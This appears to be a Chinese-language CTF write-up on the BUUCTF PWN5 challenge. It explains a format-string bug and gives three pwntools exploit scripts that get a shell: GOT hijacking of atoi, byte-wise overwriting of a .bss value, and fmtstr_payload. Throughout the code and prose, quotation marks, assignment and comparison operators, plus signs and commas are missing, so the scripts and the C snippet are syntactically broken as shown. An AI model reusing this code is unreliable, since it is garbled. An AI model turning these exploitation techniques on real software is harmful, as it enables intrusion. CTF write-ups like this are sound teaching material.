从一道BUUCTF题PWN5,聊聊格式化字符串漏洞利用的三种“脑回路”与选择策略
从BUUCTF PWN5看格式化字符串漏洞的三种高阶利用策略在CTF竞赛中格式化字符串漏洞一直是PWN方向的经典考点。BUUCTF平台上的PWN5题目以其巧妙的随机数验证机制和格式化字符串漏洞的组合成为检验选手漏洞利用能力的绝佳案例。本文将深入剖析针对同一道题目的三种截然不同的利用思路帮助读者建立灵活的漏洞利用思维框架。1. 漏洞环境与核心逻辑分析首先我们需要全面理解题目提供的二进制程序的行为模式和安全防护机制。通过checksec检查可以发现程序启用了Canary和NX保护但仅开启了部分RELRORelocation Read-Only这意味着全局偏移表(GOT)仍然可写。程序的核心逻辑可以概括为以下几个关键步骤从/dev/urandom读取4字节随机数存储到.bss段的dword_804C044变量通过read函数获取用户输入的name最大0x63字节使用printf直接输出name内容此处存在格式化字符串漏洞再次通过read获取用户输入的password最大0xF字节将password转换为整数后与随机数比较匹配则提供shell// 关键代码片段 fd open(/dev/urandom, 0); read(fd, dword_804C044, 4u); printf(your name:); read(0, buf, 0x63u); printf(Hello,); printf(buf); // 格式化字符串漏洞点 printf(your passwd:); read(0, nptr, 0xFu); if (atoi(nptr) dword_804C044) { system(/bin/sh); }漏洞利用的关键约束条件输入name时的缓冲区大小为99字节0x63格式化字符串漏洞位于第一次输出位置需要绕过随机数验证才能获取shell程序没有开启PIE地址固定2. 偷梁换柱流GOT表劫持技术这种思路的核心在于利用格式化字符串漏洞修改GOT表中的函数指针从而彻底改变程序执行流。在本题中我们可以选择劫持atoi函数的GOT表项将其替换为system函数的PLT地址。2.1 技术原理当程序调用atoi函数将用户输入的password转换为整数时实际上会跳转到我们指定的system函数。此时如果我们输入/bin/sh字符串就会被当作参数传递给system函数从而直接获得shell。from pwn import * context(archi386, oslinux) io process(./pwn5) elf ELF(./pwn5) atoi_got elf.got[atoi] system_plt elf.plt[system] payload fmtstr_payload(10, {atoi_got: system_plt}) io.sendlineafter(your name:, payload) io.sendlineafter(your passwd:, b/bin/sh\x00) io.interactive()2.2 优缺点分析优势完全绕过随机数验证机制利用过程直接高效payload相对简洁适用于多种类似场景技术通用性强局限需要目标程序调用被劫持的函数依赖GOT表可写的环境部分RELRO或更低在Full RELRO保护下无法使用提示在实际CTF比赛中如果发现程序开启了部分RELROGOT表劫持往往是优先考虑的利用方式。3. 精准控制流BSS段数据覆写这种方法直接针对题目设计的验证机制通过格式化字符串漏洞精确修改.bss段存储的随机数值使其变为我们可以预测或控制的固定值。3.1 分字节写入技术由于我们需要修改的是一个4字节的整数而格式化字符串的%n写入会受到已输出字符数量的影响因此通常采用分多次单字节写入的策略bss_addr 0x804C044 payload p32(bss_addr) p32(bss_addr1) p32(bss_addr2) p32(bss_addr3) payload b%10$n%11$n%12$n%13$n这种技术的关键在于先将目标地址及其相邻地址压入栈中通过%n系列格式化符向这些地址写入值精确控制写入的字节数来实现对目标内存的精确控制3.2 完整利用示例from pwn import * p process(./pwn5) bss_addr 0x804C044 # 构造地址部分 payload p32(bss_addr) p32(bss_addr1) p32(bss_addr2) p32(bss_addr3) # 构造格式化字符串部分 payload b%10$n%11$n%12$n%13$n p.sendlineafter(your name:, payload) p.sendlineafter(your passwd:, str(0x10101010)) p.interactive()3.3 技术特点适用场景需要精确修改特定内存值的情况当目标程序有自定义验证逻辑时在GOT表不可写时的替代方案技术难点需要精确计算地址偏移和写入值payload构造相对复杂对输入长度限制敏感4. 工具简化流自动化payload生成对于追求效率的CTF选手pwntools提供的fmtstr_payload函数可以大大简化格式化字符串漏洞的利用过程。这种方法将底层细节封装让开发者专注于利用逻辑。4.1 pwntools的fmtstr模块fmtstr_payload函数的核心参数偏移量本例中为10需要写入的地址-值对可选的写入字节大小默认为4字节from pwn import * io process(./pwn5) dword_804C044 0x804C044 payload fmtstr_payload(10, {dword_804C044: 0x1}) io.sendlineafter(your name:, payload) io.sendlineafter(your passwd:, str(0x1)) io.interactive()4.2 内部工作原理fmtstr_payload函数内部会自动处理地址对齐和排列写入值的大小端处理输出字符数的精确计算偏移量的自动调整4.3 使用建议最佳实践在时间紧张的CTF比赛中优先考虑当需要快速验证漏洞可利用性时对格式化字符串利用不太熟悉时的学习工具注意事项可能无法处理特别复杂的写入场景生成的payload可能不是最优解需要准确知道偏移量5. 策略选择与实战考量面对一个实际的格式化字符串漏洞如何选择最合适的利用策略我们需要综合考虑以下因素考量因素GOT劫持精确内存修改自动化工具技术难度中等较高低Payload长度较短较长中等通用性高中等高防护绕过能力依赖RELRO状态通用通用学习价值高很高低在实际CTF比赛中建议按照以下决策流程选择利用方式检查安全防护措施特别是RELRO状态评估漏洞触发点的输入长度限制分析程序逻辑中的关键验证点根据比赛剩余时间和自身熟练度选择策略对于BUUCTF PWN5这道题三种方法都能成功利用但各有特点GOT劫持最具教育意义展示了函数指针劫持的威力精确内存修改最能锻炼底层技能适合深入学习自动化工具最适合实战能快速拿到flag在真实的漏洞利用场景中往往需要根据具体情况灵活组合多种技术。格式化字符串漏洞的魅力就在于它提供了多种可能的内存操作方式理解这些技术背后的原理才能在面对新颖的防护措施时游刃有余。